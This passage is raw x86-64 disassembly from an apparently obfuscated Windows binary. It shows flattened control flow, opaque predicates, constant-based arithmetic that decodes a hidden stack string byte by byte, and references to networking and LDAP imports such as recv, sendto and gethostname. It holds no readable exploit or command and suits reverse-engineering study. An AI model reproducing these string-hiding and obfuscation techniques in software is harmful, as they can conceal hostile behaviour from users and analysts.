cmp rdi, rax
jb 0x140124e12
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140124dfe
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140124ddc
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140124dc8
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140124da5
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140124d83
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140124d5f
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140124d3c
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140124d28
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140124d06
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140124b43
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140124b43
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140124b36
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140124ac4
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140124a55
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140125482
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x1401250eb
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401254cc
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401253fe
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r12b
jmp 0x1401254ef
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401254f2
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140125340
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140125386
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140125008
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x140124f85
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140124f3a
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140125037
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x1401254f2
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401254ef
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140125400
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x14012543c
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x1401254aa
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401250cc
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140124ff0
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140125306
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401250a7
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x1401252e0
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401251b6
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x1401252d3
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140125482
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012501f
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14012551c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140125049
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14012532a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140125074
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x1401254f2
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140124f49
movabs rdx, 0xfd25b232dc251718
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401254cc
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401250d3
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x140125482
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140125102
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401254aa
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14012512d
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401254ef
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140125158
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140125352
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140125187
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140125386
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140124f87
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14012551c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401251e5
movabs rdx, 0xdf1e31a472e45cd0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14012551c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140125202
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140125037
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14012521f
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140124e90
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14012524a
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140125400
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140125275
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r12b
jmp 0x1401254cc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401252a4
movabs rdx, 0x59a339ea860a6c48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401254aa
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140124fbe
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140125482
mov byte [rbp + r9 + 0x850], bl
jmp 0x14012552b
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x850]
sub bl, al
sub bl, 0x60
jmp 0x140124d7b
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x850]
add bl, dl
add bl, r8b
jmp 0x140125352
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x850], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14012551c
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401254ef
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
jmp 0x1401254ef
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401254cc
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140125470
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x850], cl
add r10, r15
jmp 0x1401254cc
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x14012552b
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012552b
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x850]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140124a42
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140124a3f
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140124a2f
lea rdx, [rbp + 0x16f0f80]
jmp 0x140125594
lea rdx, [rbp + 0x68a2e4]
jmp 0x140125594
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x460]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x1d20]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401255c6
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1d20]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1d20]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1d20]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x770], 0xcb
mov byte [rbp + 0x771], Ordinal_143
mov byte [rbp + 0x772], 0xac
mov byte [rbp + 0x773], 0xf3
mov byte [rbp + 0x774], Ordinal_79
mov byte [rbp + 0x775], 0xf1
mov byte [rbp + 0x776], WSACleanup
mov byte [rbp + 0x777], 0xf7
mov byte [rbp + 0x778], 0x55
mov byte [rbp + 0x779], 0xf5
mov byte [rbp + 0x77a], 0xa2
mov byte [rbp + 0x77b], 0xfb
mov byte [rbp + 0x77c], 0x66
mov byte [rbp + 0x77d], 0xf9
mov byte [rbp + 0x77e], 0x55
mov byte [rbp + 0x77f], 0xff
mov byte [rbp + 0x780], 0x59
mov byte [rbp + 0x781], 0xfd
mov byte [rbp + 0x782], WSACleanup
mov byte [rbp + 0x783], 0xe3
mov byte [rbp + 0x784], 0x47
mov byte [rbp + 0x785], 0xe1
mov byte [rbp + 0x786], Ordinal_79
mov byte [rbp + 0x787], 0xe7
mov byte [rbp + 0x788], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x789], 0xe5
mov byte [rbp + 0x78a], 0x42
mov byte [rbp + 0x78b], 0xeb
mov byte [rbp + 0x78c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x78d], 0xe9
mov byte [rbp + 0x78e], 0x40
mov byte [rbp + 0x78f], 0xef
mov byte [rbp + 0x790], 0xb8
mov byte [rbp + 0x791], 0xed
mov byte [rbp + 0x792], 0x87
mov byte [rbp + 0x793], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x794], 0x44
mov byte [rbp + 0x795], Ordinal_211
mov byte [rbp + 0x796], 0x40
mov byte [rbp + 0x797], Ordinal_217
mov byte [rbp + 0x798], 0x81
mov byte [rbp + 0x799], Ordinal_217
mov byte [rbp + 0x79a], 0x7e
mov byte [rbp + 0x79b], 0xdb
mov byte [rbp + 0x79c], 0x7c
mov byte [rbp + 0x79d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x79e], WSACleanup
mov byte [rbp + 0x79f], 0xdf
mov byte [rbp + 0x7a0], Ordinal_143
mov byte [rbp + 0x7a1], 0xdd
mov byte [rbp + 0x7a2], 0x64
mov byte [rbp + 0x7a3], Ordinal_200
mov byte [rbp + 0x7a4], WSAGetLastError
mov byte [rbp + 0x7a5], 0xc1
mov byte [rbp + 0x7a6], 0x54
mov byte [rbp + 0x7a7], Ordinal_200
mov byte [rbp + 0x7a8], Ordinal_200
mov byte [rbp + 0x7a9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7aa], eax
mov word [rbp + 0x7ae], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x140126382
movzx r9d, byte [rbp + r10 + 0x770]
mov r8, r9
cmp rdi, r10
ja 0x140126379
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14012580b
movabs rsi, 0xda32561d88143dbe
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x32
jmp 0x14012584f
je 0x1401262ec
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140126295
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14012623f
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140126216
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401261ce
movabs rsi, 0xda32561d88143dbe
cmp r11, r10
ja 0x140126370
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x140125882
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x140125a94
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401261b0
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14012618d
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14012615d
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14012613f
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x140125dbf
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140125d9e
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140125d8a
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140125d67
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140125d53
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140125d30
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140125d0d
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140125cf9
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x140125cd6
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140125cb0
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401258c3
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14012634a
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140126324
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140125ac1
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140125a9b
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140125a78
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140125c8c
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140125c78
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140125c2a
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x140125bfe
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401258c3
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140125bea
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140125bc9
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140125ba8
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140125b82
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140125b5f
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140125b3e
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140125b1b
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140125af8
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x140125ae4
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401258c3
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x1401258c3
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401258b6
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012584f
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401257d3
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401261db
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x140126211
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140126237
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401260dd
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x14012610c
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012617b
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140126138
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x140125cf2
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x140125cbf
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x770], bl
jmp 0x14012631c
movabs rcx, 0x9682c6ba1376f89e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
cmp r11, 0x1000
jb 0x140125c1d
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401261ed
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140125e0b
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140125ddf
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012630d
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401262b9
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012614e
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x14012617b
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x14012610c
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140125b4d
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x140126237
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140125f18
movabs rdx, 0xc1a100b078b287a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x1401261eb
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x140125e5a
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [rdi + r11]
cmp rax, 6
je 0x140126111
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x140125f2f
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x1401260bc
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140125ffc
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x140125c47
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140125e86
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x14012630d
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140125ea3
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14012614e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140125ed2
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012610c
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140125efc
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x1401260e0
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140125de1
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140126211
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140125f59
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x1401261eb
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140125f83
movabs rdx, 0xcf9135f5ad74a436
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
jmp 0x1401260e0
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140125fa0
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140125ebb
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140125fcc
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x14012617b
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140125e1d
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x14012630d
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140126028
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14012630d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126052
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x140126138
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14012606f
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140125ebb
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14012608c
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140126225
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140125c47
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x140126211
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
